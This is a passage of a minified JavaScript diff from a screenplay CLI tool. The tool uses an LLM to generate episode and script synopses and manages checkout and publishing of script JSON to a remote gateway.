item");return{index:n.index,startEpisodeNo:n.startEpisodeNo,endEpisodeNo:o.endEpisodeNo,synopsis:t.map(i=>`\u7B2C${i.startEpisodeNo}-${i.endEpisodeNo}\u96C6\uFF1A${i.synopsis}`).join(`
1016
+ `),turns:au(t.flatMap(i=>i.turns)),openQuestions:au(t.flatMap(i=>i.openQuestions))}}function ru(e,t){let n=["\u5206\u96C6\u7D22\u5F15\uFF1A"];for(let o of[...e].sort((i,r)=>i.episodeNo-r.episodeNo))n.push(`\u7B2C${o.episodeNo}\u96C6\uFF1A${o.oneLine||o.synopsis}`);n.push("","\u9636\u6BB5\u6897\u6982\uFF1A");for(let o of[...t].sort((i,r)=>i.startEpisodeNo-r.startEpisodeNo))n.push(`\u7B2C${o.startEpisodeNo}-${o.endEpisodeNo}\u96C6\uFF1A${o.synopsis}`);return n.join(`
1017
+ `)}function nv(e){let t=wc(e);return{synopsis:po(t,"\u5168\u6587\u6897\u6982"),theme:po(t,"\u4E3B\u9898"),logline:po(t,"\u4E00\u53E5\u8BDD"),style:po(t,"\u98CE\u683C"),mainCharacters:fv(po(t,"\u4E3B\u8981\u4EBA\u7269"))}}async function ov(e){let t=e.config??Iw,n=re(e.script.episodes);if(n.length===0)throw new S("No episodes found in script.",{exitCode:B,errorCode:"SCRIPT_EPISODES_MISSING",hint:"Create or parse episodes before generating synopsis.",data:{expected:["script.episodes[] with at least one episode"],actual:["episodes: 0"]}});let o=n.map((u,y)=>Qb(e.script,u,y)),i=e.overwrite?o:o.filter(u=>!u.existingSynopsis),r=i.length===0?[]:await hc(e.script).split({scope:"episode",partition:()=>i,chunk:u=>Fb(u,t)}).extract(ks({taskId:"synopsis.chunk",instruction:Db,format:Gb,input:({parcel:u})=>mv(u),parse:({text:u,parcel:y})=>Yb(u,y)})).reduce("episode",qb).extract(ks({taskId:"synopsis.episode",instruction:Bb,format:Jb,input:({parcel:u})=>gv(u),parse:({text:u,parcel:y})=>Zb(u,y)})).reduce("root",u=>[...u].sort((y,m)=>y.episodeNo-m.episodeNo)).run({concurrency:e.concurrency,checkpoint:Ss(_r.join(e.checkpointDir,"episode")),checkpointSalt:e.checkpointSalt,executor:e.executor}),s=Array.isArray(r)?r:r.value,c=new Map(s.map(u=>[u.episodeIndex,u])),a=o.map(u=>c.get(u.episodeIndex)??{episodeIndex:u.episodeIndex,episodeId:u.episodeId,episodeNo:u.episodeNo,title:u.title,synopsis:u.existingSynopsis,oneLine:Sv(u.existingSynopsis),events:[]}),d=a.filter(u=>!u.synopsis.trim()).map(u=>u.episodeId);if(d.length>0)throw new S("Some episode synopses are still missing.",{exitCode:X,errorCode:"EPISODE_SYNOPSIS_MISSING",hint:"Use --overwrite to regenerate, or manually set missing episode synopses.",data:{expected:["every episode has synopsis"],actual:d}});let p=e.overwrite||Av(e.script),l=p?await rv({episodes:a,executor:e.executor,checkpointDir:_r.join(e.checkpointDir,"arc"),checkpointSalt:e.checkpointSalt,concurrency:e.concurrency,config:t}):{value:[],report:{reused:0,ran:0}},f=p?await sv({episodes:a,arcs:l.value,executor:e.executor,checkpointDir:_r.join(e.checkpointDir,"final"),checkpointSalt:e.checkpointSalt,config:t}):{value:kv(e.script),report:{reused:0,ran:0}};return{episodeBriefs:a,overview:f.value,overviewGenerated:p,report:{reused:(Array.isArray(r)?0:r.report.reused)+l.report.reused+f.report.reused,ran:(Array.isArray(r)?0:r.report.ran)+l.report.ran+f.report.ran}}}async function Aw(e,t=to){let n=Iv(e.concurrency,fu,"--concurrency"),o=!!e.overwrite,i=!!e.apply,r=!!e.dry_run;if(i&&r)throw new S("--apply and --dry-run are mutually exclusive.",{exitCode:B,errorCode:"SYNOPSIS_GENERATE_FLAG_CONFLICT",hint:"Pick one mode and retry.",data:{expected:["at most one of --apply / --dry-run"],actual:["--apply","--dry-run"]}});let s=v(e.workspace_path||"workspace"),c=await _s(e),a=v(e.model).trim(),d=t.createExecutor(v(e.llm_config).trim()||void 0,a?{profile:a}:void 0),p=v(e.checkpoint).trim()||_r.join(hu(s),"loom","synopsis-generate"),l=await ov({script:c.script,executor:d,checkpointDir:p,concurrency:n,overwrite:o}),f=new Set,u=re(c.script.episodes);for(let k of l.episodeBriefs){let N=u[k.episodeIndex];N&&(o||!v(N.synopsis).trim())&&v(N.synopsis)!==k.synopsis&&(N.synopsis=k.synopsis,f.add(k.episodeId))}let y=!1;if(y=yc(c.script,"synopsis",l.overview.synopsis,o)||y,y=yc(c.script,"theme",l.overview.theme,o)||y,y=yc(c.script,"logline",l.overview.logline,o)||y,y=yc(c.script,"style",l.overview.style,o)||y,o||re(c.script.main_characters).length===0){let k=l.overview.mainCharacters.map(N=>({name:N.name,role:N.role}));JSON.stringify(c.script.main_characters??[])!==JSON.stringify(k)&&(c.script.main_characters=k,y=!0)}let m=f.size>0||y,g=Es(c),w=!!g.passed,h=[`${l.episodeBriefs.length} episodes; ${f.size} synopses ${i?"written":"would change"}; overview ${l.overviewGenerated?"generated":"reused"}; validation ${w?i?"passed":"would pass":i?"needs repair":"would need repair"}${i?"":"; dry-run, no write"}`,`loom: ran=${l.report.ran}, reused=${l.report.reused}`,`llm config: ${d.configSource}; routes: ${d.usage().length}`],_,x;i&&m&&([_,x]=await Kl(c,e,"synopsis.generate"),await Jl(c,g,_),c.remote&&h.push(`revision ${_}; idempotent ${String(x).toLowerCase()}`));let E=Ed(re(g.issues));return i||h.push("Run again with --apply to write the generated synopsis fields."),[{text:[...h,...E].join(`
1018
+ `),data:{op:i?"synopsis.generate":"synopsis.generate.dry-run",changed:i&&m,revision:_,idempotent:x,validation:g,issues:E,script_path:c.artifactLabel,episode_synopses:l.episodeBriefs.map(k=>({episode_id:k.episodeId,title:k.title,synopsis:k.synopsis,one_line:k.oneLine})),config_source:d.configSource,llm_routes:d.usage()}},G]}function iv(e,t){if(e.length<=t)return[e];let n=[];for(let o=0;o<e.length;o+=t)n.push(e.slice(o,o+t));return n}async function rv(e){let t=Wb(e.episodes,e.config.arcEpisodeCount),n=1,o={reused:0,ran:0};for(;;){let i=await hc(t).split({scope:"arc",partition:c=>c,chunk:c=>[c]}).extract(ks({taskId:"synopsis.arc",instruction:Kb,format:jb,input:({parcel:c})=>wv(c),parse:({text:c,parcel:a})=>ev(c,a)})).reduce("arc",c=>Ev(c,"arc")).reduce("root",c=>[...c].sort((a,d)=>a.startEpisodeNo-d.startEpisodeNo)).run({concurrency:e.concurrency,checkpoint:Ss(_r.join(e.checkpointDir,`level-${n}`)),checkpointSalt:e.checkpointSalt,executor:e.executor});o.reused+=i.report.reused,o.ran+=i.report.ran;let r=i.value;if(ru(e.episodes,r).length<=e.config.finalMaxInputChars||r.length<=1)return{value:r,report:o};t=Xb(r,e.config.arcEpisodeCount),n+=1}}async function sv(e){let t=e.arcs;for(;ru(e.episodes,t).length>e.config.finalMaxInputChars&&t.length>1;)t=[tv(t)];let n=await hc({episodes:e.episodes,arcs:t}).extract(ks({taskId:"synopsis.script-overview",instruction:zb,format:Hb,input:({parcel:o})=>ru(o.episodes,o.arcs),parse:({text:o})=>nv(o)})).run({concurrency:1,checkpoint:Ss(e.checkpointDir),checkpointSalt:e.checkpointSalt,executor:e.executor});return{value:n.value,report:n.report}}function av(e,t){let n=oe(t.environment)?t.environment:{},o=v(n.space).trim(),i=v(n.time).trim(),r=Qo(t),s=re(r.locations).map(p=>su(e,"locations","location_id","location_name",v(p.location_id))).filter(p=>p),c=re(r.actors).map(p=>su(e,"actors","actor_id","actor_name",v(p.actor_id))).filter(p=>p),a=s.join("\u3001")||"-";return`[\u573A\u666F] ${[o,i].filter(p=>p).join(" ")||"-"}\uFF5C${a}\uFF5C\u51FA\u573A\uFF1A${c.join("\u3001")||"-"}`}function cv(e,t){let n=v(t.type).trim();if(n==="dialogue"){let i=Ew(e,t),r=v(t.content).trim();return r?`[\u5BF9\u767D] ${i?`${i}\uFF1A`:""}${r}`:""}if(n==="inner_thought"){let i=Ew(e,t),r=v(t.content).trim();return r?`[\u5FC3\u58F0] ${i?`${i}\uFF1A`:""}${r}`:""}let o=v(t.content).trim();return o?`[\u52A8\u4F5C] ${o}`:""}function Ew(e,t){let n=t.speaker;if(!oe(n))return"";let o=v(n.actor_id).trim();if(o)return su(e,"actors","actor_id","actor_name",o)||o;let i=v(n.kind).trim();return i?v(n.label).trim()||i:""}function su(e,t,n,o,i){let r=re(e[t]).find(s=>v(s[n])===i);return r?v(r[o]).trim():""}function dv(e,t){let n=/^ep_(\d+)$/.exec(e);return n?Number(n[1]):t+1}function wc(e){let t=new Map,n=null,o=[],i=()=>{n&&t.set(n,o.join(`
1019
+ `).trim()),o=[]};for(let r of e.split(/\r?\n/)){let s=pv(r);if(s){if(n===s.name&&s.inline){o.push(r);continue}i(),n=s.name,s.inline&&o.push(s.inline);continue}n&&o.push(r)}return i(),t}var xw=new Set(["\u7247\u6BB5\u6897\u6982","\u5173\u952E\u4E8B\u4EF6","\u4EBA\u7269\u53D8\u5316","\u7ED3\u5C3E\u94A9\u5B50","\u5206\u96C6\u6897\u6982","\u5355\u53E5\u6897\u6982","\u9636\u6BB5\u6897\u6982","\u5173\u952E\u8F6C\u6298","\u672A\u89E3\u51B3\u60AC\u5FF5","\u5168\u6587\u6897\u6982","\u4E3B\u9898","\u4E00\u53E5\u8BDD","\u98CE\u683C","\u4E3B\u8981\u4EBA\u7269"]);function pv(e){let t=e.trim(),n=/^#{1,6}\s+(.+?)\s*$/.exec(t);if(n){let r=Sw(n[1].trim());return xw.has(r)?{name:r,inline:""}:null}let o=t.search(/[::]/),i=Sw((o>=0?t.slice(0,o):t).trim());return xw.has(i)?{name:i,inline:o>=0?t.slice(o+1).trim():""}:null}var lv={\u95DC\u9375\u4E8B\u4EF6:"\u5173\u952E\u4E8B\u4EF6",\u4EBA\u7269\u8B8A\u5316:"\u4EBA\u7269\u53D8\u5316",\u7D50\u5C3E\u9264\u5B50:"\u7ED3\u5C3E\u94A9\u5B50",\u55AE\u53E5\u6897\u6982:"\u5355\u53E5\u6897\u6982",\u968E\u6BB5\u6897\u6982:"\u9636\u6BB5\u6897\u6982",\u95DC\u9375\u8F49\u6298:"\u5173\u952E\u8F6C\u6298",\u672A\u89E3\u6C7A\u61F8\u5FF5:"\u672A\u89E3\u51B3\u60AC\u5FF5",\u4E3B\u984C:"\u4E3B\u9898",\u4E00\u53E5\u8A71:"\u4E00\u53E5\u8BDD",\u98A8\u683C:"\u98CE\u683C"};function Sw(e){return lv[e]??e}function po(e,t){let n=(e.get(t)??"").trim();if(!n)throw new Error(`synopsis output missing section: ${t}`);return n}function Er(e){return e.split(/\r?\n/).map(t=>t.trim()).map(t=>t.replace(/^[-*]\s*/,"").trim()).filter(t=>t.length>0)}function uv(e){return Er(e).map(t=>{let[n,...o]=t.split("|");return{name:v(n).trim(),change:o.join("|").trim()}}).filter(t=>t.name&&t.change)}function fv(e){return Er(e).map(t=>{let[n,...o]=t.split("|");return{name:v(n).trim(),role:o.join("|").trim()}}).filter(t=>t.name&&t.role)}function mv(e){return[`\u5F53\u524D\u5206\u96C6\uFF1A\u7B2C${e.episodeNo}\u96C6 ${e.title||""}`.trim(),`\u5F53\u524D\u7247\u6BB5\uFF1A${e.part}/${e.partCount}`,"","\u8FD9\u662F\u5F53\u524D\u4EFB\u52A1\u7684\u539F\u6587\uFF1A",e.text].join(`
1020
1020
  `)}function gv(e){return[`\u5F53\u524D\u5206\u96C6\uFF1A\u7B2C${e.episodeNo}\u96C6 ${e.title||""}`.trim(),"","\u7247\u6BB5\u6897\u6982\uFF1A",e.synopsis,"","\u7247\u6BB5\u5173\u952E\u4E8B\u4EF6\uFF1A",...e.events.map(t=>`- ${t}`)].join(`
1021
1021
  `)}function hv(e){let t=[];for(let n of e){if(t.push(`\u7B2C${n.episodeNo}\u96C6 ${n.title||""}`.trim()),t.push(`\u5355\u53E5\uFF1A${n.oneLine}`),t.push(`\u6897\u6982\uFF1A${n.synopsis}`),n.events.length>0){t.push("\u5173\u952E\u4E8B\u4EF6\uFF1A");for(let o of n.events)t.push(`- ${o}`)}t.push("")}return t.join(`
1022
1022
  `).trim()}function yv(e){let t=[];for(let n of e){if(t.push(`\u7B2C${n.startEpisodeNo}-${n.endEpisodeNo}\u96C6`),t.push(`\u9636\u6BB5\u6897\u6982\uFF1A${n.synopsis}`),n.turns.length>0){t.push("\u5173\u952E\u8F6C\u6298\uFF1A");for(let o of n.turns)t.push(`- ${o}`)}if(n.openQuestions.length>0){t.push("\u672A\u89E3\u51B3\u60AC\u5FF5\uFF1A");for(let o of n.openQuestions)t.push(`- ${o}`)}t.push("")}return t.join(`
1023
1023
  `).trim()}function wv(e){return[`\u5F53\u524D\u9636\u6BB5\uFF1A\u7B2C${e.startEpisodeNo}-${e.endEpisodeNo}\u96C6`,"","\u5206\u96C6\u6897\u6982\uFF1A",e.text].join(`
1024
- `)}function _v(e,t){if(e===null)throw new Error(`${t} scope missing`);return e}function Ev(e,t){let n=e[0];if(!n||e.length!==1)throw new Error(`${t} reduce requires exactly one item`);return n}function xv(e){return e.map(t=>t.trim()).find(t=>t.length>0)??""}function cu(e){let t=new Set,n=[];for(let o of e.map(i=>i.trim()).filter(i=>i.length>0))t.has(o)||(t.add(o),n.push(o));return n}function Sv(e){let t=e.replace(/\s+/g," ").trim();return t.length>50?t.slice(0,50):t}function Iv(e,t,n){if(e==null||e==="")return t;let o=Number(e);if(!Number.isFinite(o)||o<=0)throw new S(`${n} must be a positive integer.`,{exitCode:B,errorCode:"NUMERIC_OPTION_INVALID",hint:`Pass ${n} ${t}.`,data:{expected:[`${n}: positive integer`],actual:[v(e)]}});return Math.floor(o)}function wc(e,t,n,o){return!o&&v(e[t]).trim()||v(e[t])===n?!1:(e[t]=n,!0)}function Av(e){return!v(e.synopsis).trim()||!v(e.theme).trim()||!v(e.logline).trim()||!v(e.style).trim()||re(e.main_characters).length===0}function kv(e){return{synopsis:v(e.synopsis).trim(),theme:v(e.theme).trim(),logline:v(e.logline).trim(),style:v(e.style).trim(),mainCharacters:re(e.main_characters).map(t=>({name:v(t.name).trim(),role:v(t.role).trim()})).filter(t=>t.name&&t.role)}}import*as Os from"node:fs";var vw=3;function du(e){return v(e.project_group_no||process.env.SANDBOX_PROJECT_GROUP_NO).trim()}function pu(e){try{return Bl(e)}catch(t){throw t instanceof fe?Qo("SCRIPT API BLOCKED: gateway not configured",t):t}}function Ow(e,t){let n=du(e);if(n&&n!==t.projectGroupNo)throw bw(t,`configured projectGroupNo=${n}`);let o=pu(t.projectGroupNo);if(o.gatewayBase!==t.apiBaseUrl)throw bw(t,`configured apiBaseUrl=${o.gatewayBase}`);return o}function bw(e,t){return new S("The configured remote does not match this working copy.",{exitCode:b,errorCode:"WORKING_COPY_REMOTE_MISMATCH",hint:"Restore the checkout environment for this working copy, or checkout another file.",data:{expected:[`projectGroupNo=${e.projectGroupNo}`,`apiBaseUrl=${e.apiBaseUrl}`],actual:[t]}})}function lu(e){let t;try{t=JSON.parse(Os.readFileSync(e,"utf-8"))}catch(n){throw new S("The local script is missing or invalid JSON.",{exitCode:b,errorCode:"SCRIPT_JSON_INVALID",hint:"Fix the local script JSON before continuing.",data:{actual:[e,n instanceof Error?n.message:String(n)]}})}if(!oe(t))throw new S("The script root must be a JSON object.",{exitCode:b,errorCode:"SCRIPT_ROOT_INVALID",hint:"Replace the file with a valid Script v3 JSON object.",data:{actual:[e,Array.isArray(t)?"array":typeof t]}});return t}function Rw(e){return String(e.code)==="9002"||e.message.includes("\u7248\u672C\u51B2\u7A81")}function Ec(e){let t=e.status!==null&&e.status>=200&&e.status<300&&e.code===null;return e.status===null||e.status>=500||t}function Mw(e){let t=Number(e.revision);if(!Number.isInteger(t)||t<0)throw new S("The gateway returned an invalid snapshot revision.",{exitCode:X,errorCode:"PUBLISH_OUTCOME_UNKNOWN",hint:"Inspect the remote script before retrying.",data:{actual:[JSON.stringify(e)]}});return t}function Lw(e,t){return new S("The publish outcome could not be confirmed after retrying.",{exitCode:X,errorCode:"PUBLISH_OUTCOME_UNKNOWN",hint:"Run publish again; it will inspect the latest snapshot before sending another patch.",data:{actual:[...t,`baseRevision=${e}`]}})}async function bv(e,t,n,o,i,r){let s=[];for(let c=1;c<=vw;c+=1){let a;try{a=await e.getSnapshot()}catch(p){if(p instanceof fe&&Ec(p)){s.push(`snapshot attempt ${c}: ${p.message}`);continue}throw p instanceof fe?Qo("PUBLISH BLOCKED: snapshot query failed",p):p}if(a===null||!oe(a.script))throw new S("The managed working copy no longer has a remote script.",{exitCode:b,errorCode:"REMOTE_SCRIPT_NOT_FOUND",hint:"Publish a new unmanaged file to create the remote script, or restore the remote project.",data:{actual:[`projectGroupNo=${e.projectGroupNo}`]}});let d=Mw(a);if(Je(a.script)===o&&a.validationStatus==="valid")return{revision:d,patchedFromRevision:d,attempts:c,recovered:d!==i.baseRevision};Gt(t,o);try{let p=await e.publishPatch({baseRevision:d,old:a.script,edited:n,validation:r}),l=oe(p)?Number(p.revision):Number.NaN;if(Number.isInteger(l)&&l>d)return{revision:l,patchedFromRevision:d,attempts:c,recovered:c>1};s.push(`patch attempt ${c}: invalid response ${JSON.stringify(p)}`)}catch(p){if(p instanceof fe&&(Rw(p)||Ec(p))){s.push(`patch attempt ${c}: ${p.message}`);continue}throw p instanceof fe?Qo("PUBLISH BLOCKED: patch failed",p):p}}throw Lw(i.baseRevision,s)}async function vv(e,t,n,o,i){let r=[];for(let s=1;s<=vw;s+=1){let c;try{c=await e.getSnapshot()}catch(a){if(a instanceof fe&&Ec(a)){r.push(`snapshot attempt ${s}: ${a.message}`);continue}throw a instanceof fe?Qo("PUBLISH BLOCKED: snapshot query failed",a):a}if(c!==null){let a=Mw(c);if(oe(c.script)&&Je(c.script)===o&&c.validationStatus==="valid")return{revision:a,patchedFromRevision:0,attempts:s,recovered:!0};throw new S("An unmanaged local script cannot replace an existing remote script.",{exitCode:b,errorCode:"REMOTE_SCRIPT_EXISTS",hint:"Checkout the remote script, apply the local changes to that managed working copy, then publish.",data:{actual:[`projectGroupNo=${e.projectGroupNo}`,`revision=${a}`]}})}Gt(t,o);try{let a=await e.publishPatch({baseRevision:0,old:{},edited:n,validation:i}),d=oe(a)?Number(a.revision):Number.NaN;if(Number.isInteger(d)&&d>0)return{revision:d,patchedFromRevision:0,attempts:s,recovered:s>1};r.push(`patch attempt ${s}: invalid response ${JSON.stringify(a)}`)}catch(a){if(a instanceof fe&&(Rw(a)||Ec(a))){r.push(`patch attempt ${s}: ${a.message}`);continue}throw a instanceof fe?Qo("PUBLISH BLOCKED: patch failed",a):a}}throw Lw(0,r)}async function Nw(e){let t=me(e),n=!!e.discard_local,o=Nr(t),i=Bs(t),r=Os.existsSync(t),s=Mr(t);if(r&&i===null&&!n)throw new S("The target is an unmanaged local script.",{exitCode:b,errorCode:"LOCAL_TARGET_EXISTS",hint:`Run \`scriptctl checkout --script-path ${t} --discard-local\` only if the local file may be discarded.`,data:{actual:[t]}});if(r&&i!==null&&!n&&Je(lu(t))!==i.baseContentHash)throw new S("The working copy has unpublished local changes.",{exitCode:b,errorCode:"WORKING_COPY_DIRTY",hint:"Publish the local changes, or pass --discard-local to replace them with the remote snapshot.",data:{actual:[t,`baseRevision=${i.baseRevision}`]}});let c=i!==null&&!n?Ow(e,i):pu(du(e)||null),a;try{a=await c.getSnapshot()}catch(l){throw l instanceof fe?Qo("CHECKOUT BLOCKED: snapshot query failed",l):l}if(a===null||!oe(a.script))throw new S("No remote script_v2 snapshot exists for this project.",{exitCode:b,errorCode:"REMOTE_SCRIPT_NOT_FOUND",hint:"Use the ingest/create workflow and publish the first script instead of checkout.",data:{actual:[`projectGroupNo=${c.projectGroupNo}`]}});Lr(t,s);let d=Je(a.script);return Fe(t,a.script),Js(t,{schemaVersion:1,projectGroupNo:c.projectGroupNo,apiBaseUrl:c.gatewayBase,baseRevision:Number(a.revision),baseContentHash:d}),[{text:n&&r?`Discarded the local file and checked out revision ${a.revision} to ${t}`:`Checked out revision ${a.revision} to ${t}`,data:{changed:!0,script_path:t,metadata_path:o.metadataPath,managed:!0,dirty:!1,discarded_local:n&&r,project_group_no:c.projectGroupNo,base_revision:Number(a.revision)}},G]}function Uw(e){let t=me(e),n=Os.existsSync(t),o=Bs(t),i=n&&o!==null?Je(lu(t))!==o.baseContentHash:null;return[{text:o===null?`${t}: unmanaged local script`:`${t}: ${i?"dirty":"clean"} at revision ${o.baseRevision}`,data:{script_path:t,exists:n,managed:o!==null,dirty:i,...o===null?{}:{project_group_no:o.projectGroupNo,api_base_url:o.apiBaseUrl,base_revision:o.baseRevision}}},G]}async function Pw(e){let t=me(e),n=lu(t),o=Je(n),i=Bs(t);if(i!==null&&i.baseContentHash===o)return[{text:`No local changes; revision remains ${i.baseRevision}`,data:{changed:!1,published:!1,reason:"NO_CHANGES",revision:i.baseRevision,script_path:t}},G];let r=Jl(n);if(!r.passed)throw new S("The local script does not pass its declared Script version validation.",{exitCode:b,errorCode:"PUBLISH_VALIDATION_FAILED",hint:`Run \`scriptctl validate --script-path ${t}\`, repair the issues, then publish again.`,data:{actual:r.issues.slice(0,5).map(p=>`${p.path??"<root>"}: ${p.summary}`)}});let s=Ks(n).episodes.length,c={status:"valid",summary:{passed:!0,hasBlocking:!1,stats:r.stats??{},issueCount:0}};if(i!==null){let p=Ow(e,i),l=await bv(p,t,n,o,i,c);return Js(t,{schemaVersion:1,projectGroupNo:p.projectGroupNo,apiBaseUrl:p.gatewayBase,baseRevision:l.revision,baseContentHash:o}),await Cd(p,s),[{text:`Published local content over revision ${l.patchedFromRevision} \u2192 ${l.revision}`,data:{changed:!0,published:!0,created:!1,transport:"patch",script_path:t,project_group_no:p.projectGroupNo,base_revision:l.patchedFromRevision,revision:l.revision,attempts:l.attempts,recovered:l.recovered}},G]}let a=pu(du(e)||null),d=await vv(a,t,n,o,c);return Js(t,{schemaVersion:1,projectGroupNo:a.projectGroupNo,apiBaseUrl:a.gatewayBase,baseRevision:d.revision,baseContentHash:o}),await Cd(a,s),[{text:`Published revision ${d.patchedFromRevision} \u2192 ${d.revision}`,data:{changed:!0,published:!0,created:!0,transport:"patch",script_path:t,project_group_no:a.projectGroupNo,base_revision:d.patchedFromRevision,revision:d.revision,attempts:d.attempts,recovered:d.recovered}},G]}function Cw(e,t,n){e.command("migrate").description("Create a newer Script schema copy through the registered migration chain").requiredOption("-p, --script-path <path>","Source Script JSON file").requiredOption("-o, --output <file>","Destination Script JSON file").requiredOption("--to <version>","Target Script version").option("--manifest <file>","Migration manifest output").option("--force","Replace existing migration artifacts").addHelpText("after",`
1024
+ `)}function _v(e,t){if(e===null)throw new Error(`${t} scope missing`);return e}function Ev(e,t){let n=e[0];if(!n||e.length!==1)throw new Error(`${t} reduce requires exactly one item`);return n}function xv(e){return e.map(t=>t.trim()).find(t=>t.length>0)??""}function au(e){let t=new Set,n=[];for(let o of e.map(i=>i.trim()).filter(i=>i.length>0))t.has(o)||(t.add(o),n.push(o));return n}function Sv(e){let t=e.replace(/\s+/g," ").trim();return t.length>50?t.slice(0,50):t}function Iv(e,t,n){if(e==null||e==="")return t;let o=Number(e);if(!Number.isFinite(o)||o<=0)throw new S(`${n} must be a positive integer.`,{exitCode:B,errorCode:"NUMERIC_OPTION_INVALID",hint:`Pass ${n} ${t}.`,data:{expected:[`${n}: positive integer`],actual:[v(e)]}});return Math.floor(o)}function yc(e,t,n,o){return!o&&v(e[t]).trim()||v(e[t])===n?!1:(e[t]=n,!0)}function Av(e){return!v(e.synopsis).trim()||!v(e.theme).trim()||!v(e.logline).trim()||!v(e.style).trim()||re(e.main_characters).length===0}function kv(e){return{synopsis:v(e.synopsis).trim(),theme:v(e.theme).trim(),logline:v(e.logline).trim(),style:v(e.style).trim(),mainCharacters:re(e.main_characters).map(t=>({name:v(t.name).trim(),role:v(t.role).trim()})).filter(t=>t.name&&t.role)}}import*as bs from"node:fs";var bw=3;function cu(e){return v(e.project_group_no||process.env.SANDBOX_PROJECT_GROUP_NO).trim()}function du(e){try{return Gl(e)}catch(t){throw t instanceof fe?Ho("SCRIPT API BLOCKED: gateway not configured",t):t}}function vw(e,t){let n=cu(e);if(n&&n!==t.projectGroupNo)throw kw(t,`configured projectGroupNo=${n}`);let o=du(t.projectGroupNo);if(o.gatewayBase!==t.apiBaseUrl)throw kw(t,`configured apiBaseUrl=${o.gatewayBase}`);return o}function kw(e,t){return new S("The configured remote does not match this working copy.",{exitCode:b,errorCode:"WORKING_COPY_REMOTE_MISMATCH",hint:"Restore the checkout environment for this working copy, or checkout another file.",data:{expected:[`projectGroupNo=${e.projectGroupNo}`,`apiBaseUrl=${e.apiBaseUrl}`],actual:[t]}})}function pu(e){let t;try{t=JSON.parse(bs.readFileSync(e,"utf-8"))}catch(n){throw new S("The local script is missing or invalid JSON.",{exitCode:b,errorCode:"SCRIPT_JSON_INVALID",hint:"Fix the local script JSON before continuing.",data:{actual:[e,n instanceof Error?n.message:String(n)]}})}if(!oe(t))throw new S("The script root must be a JSON object.",{exitCode:b,errorCode:"SCRIPT_ROOT_INVALID",hint:"Replace the file with a valid Script v3 JSON object.",data:{actual:[e,Array.isArray(t)?"array":typeof t]}});return t}function Ow(e){return String(e.code)==="9002"||e.message.includes("\u7248\u672C\u51B2\u7A81")}function _c(e){let t=e.status!==null&&e.status>=200&&e.status<300&&e.code===null;return e.status===null||e.status>=500||t}function Rw(e){let t=Number(e.revision);if(!Number.isInteger(t)||t<0)throw new S("The gateway returned an invalid snapshot revision.",{exitCode:X,errorCode:"PUBLISH_OUTCOME_UNKNOWN",hint:"Inspect the remote script before retrying.",data:{actual:[JSON.stringify(e)]}});return t}function Mw(e,t){return new S("The publish outcome could not be confirmed after retrying.",{exitCode:X,errorCode:"PUBLISH_OUTCOME_UNKNOWN",hint:"Run publish again; it will inspect the latest snapshot before sending another patch.",data:{actual:[...t,`baseRevision=${e}`]}})}async function bv(e,t,n,o,i,r){let s=[];for(let c=1;c<=bw;c+=1){let a;try{a=await e.getSnapshot()}catch(p){if(p instanceof fe&&_c(p)){s.push(`snapshot attempt ${c}: ${p.message}`);continue}throw p instanceof fe?Ho("PUBLISH BLOCKED: snapshot query failed",p):p}if(a===null||!oe(a.script))throw new S("The managed working copy no longer has a remote script.",{exitCode:b,errorCode:"REMOTE_SCRIPT_NOT_FOUND",hint:"Publish a new unmanaged file to create the remote script, or restore the remote project.",data:{actual:[`projectGroupNo=${e.projectGroupNo}`]}});let d=Rw(a);if(Je(a.script)===o&&a.validationStatus==="valid")return{revision:d,patchedFromRevision:d,attempts:c,recovered:d!==i.baseRevision};Gt(t,o);try{let p=await e.publishPatch({baseRevision:d,old:a.script,edited:n,validation:r}),l=oe(p)?Number(p.revision):Number.NaN;if(Number.isInteger(l)&&l>d)return{revision:l,patchedFromRevision:d,attempts:c,recovered:c>1};s.push(`patch attempt ${c}: invalid response ${JSON.stringify(p)}`)}catch(p){if(p instanceof fe&&(Ow(p)||_c(p))){s.push(`patch attempt ${c}: ${p.message}`);continue}throw p instanceof fe?Ho("PUBLISH BLOCKED: patch failed",p):p}}throw Mw(i.baseRevision,s)}async function vv(e,t,n,o,i){let r=[];for(let s=1;s<=bw;s+=1){let c;try{c=await e.getSnapshot()}catch(a){if(a instanceof fe&&_c(a)){r.push(`snapshot attempt ${s}: ${a.message}`);continue}throw a instanceof fe?Ho("PUBLISH BLOCKED: snapshot query failed",a):a}if(c!==null){let a=Rw(c);if(oe(c.script)&&Je(c.script)===o&&c.validationStatus==="valid")return{revision:a,patchedFromRevision:0,attempts:s,recovered:!0};throw new S("An unmanaged local script cannot replace an existing remote script.",{exitCode:b,errorCode:"REMOTE_SCRIPT_EXISTS",hint:"Checkout the remote script, apply the local changes to that managed working copy, then publish.",data:{actual:[`projectGroupNo=${e.projectGroupNo}`,`revision=${a}`]}})}Gt(t,o);try{let a=await e.publishPatch({baseRevision:0,old:{},edited:n,validation:i}),d=oe(a)?Number(a.revision):Number.NaN;if(Number.isInteger(d)&&d>0)return{revision:d,patchedFromRevision:0,attempts:s,recovered:s>1};r.push(`patch attempt ${s}: invalid response ${JSON.stringify(a)}`)}catch(a){if(a instanceof fe&&(Ow(a)||_c(a))){r.push(`patch attempt ${s}: ${a.message}`);continue}throw a instanceof fe?Ho("PUBLISH BLOCKED: patch failed",a):a}}throw Mw(0,r)}async function Lw(e){let t=me(e),n=!!e.discard_local,o=Mr(t),i=Ds(t),r=bs.existsSync(t),s=Or(t);if(r&&i===null&&!n)throw new S("The target is an unmanaged local script.",{exitCode:b,errorCode:"LOCAL_TARGET_EXISTS",hint:`Run \`scriptctl checkout --script-path ${t} --discard-local\` only if the local file may be discarded.`,data:{actual:[t]}});if(r&&i!==null&&!n&&Je(pu(t))!==i.baseContentHash)throw new S("The working copy has unpublished local changes.",{exitCode:b,errorCode:"WORKING_COPY_DIRTY",hint:"Publish the local changes, or pass --discard-local to replace them with the remote snapshot.",data:{actual:[t,`baseRevision=${i.baseRevision}`]}});let c=i!==null&&!n?vw(e,i):du(cu(e)||null),a;try{a=await c.getSnapshot()}catch(l){throw l instanceof fe?Ho("CHECKOUT BLOCKED: snapshot query failed",l):l}if(a===null||!oe(a.script))throw new S("No remote script_v2 snapshot exists for this project.",{exitCode:b,errorCode:"REMOTE_SCRIPT_NOT_FOUND",hint:"Use the ingest/create workflow and publish the first script instead of checkout.",data:{actual:[`projectGroupNo=${c.projectGroupNo}`]}});Rr(t,s);let d=Je(a.script);return Fe(t,a.script),Gs(t,{schemaVersion:1,projectGroupNo:c.projectGroupNo,apiBaseUrl:c.gatewayBase,baseRevision:Number(a.revision),baseContentHash:d}),[{text:n&&r?`Discarded the local file and checked out revision ${a.revision} to ${t}`:`Checked out 